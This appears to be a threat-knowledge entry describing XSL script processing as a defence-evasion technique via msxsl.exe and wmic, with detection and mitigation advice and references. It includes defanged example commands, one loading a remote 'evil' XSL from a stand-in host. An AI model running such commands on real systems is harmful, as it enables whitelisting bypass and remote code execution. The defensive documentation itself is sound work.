XSL Script Processing
Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. 
Command-line example: 
msxsl.exe customers[.]xml script[.]xsl
Another variation of this technique, dubbed "Squiblytwo", involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.  This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool.
Command-line examples: 
- Local File:
wmic process list /FORMAT:evil[.]xsl
- Remote File:
wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"
Windows Management Instrumentation and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.
Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting).   Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.
The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
- Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using
- Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.
- netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.
- Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.
- Smith, C. (2018, April 17). WMIC.EXE Whitelisting Bypass - Hacking with Style, Stylesheets. Retrieved July 3, 2018.
- Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.
- Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.
- Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.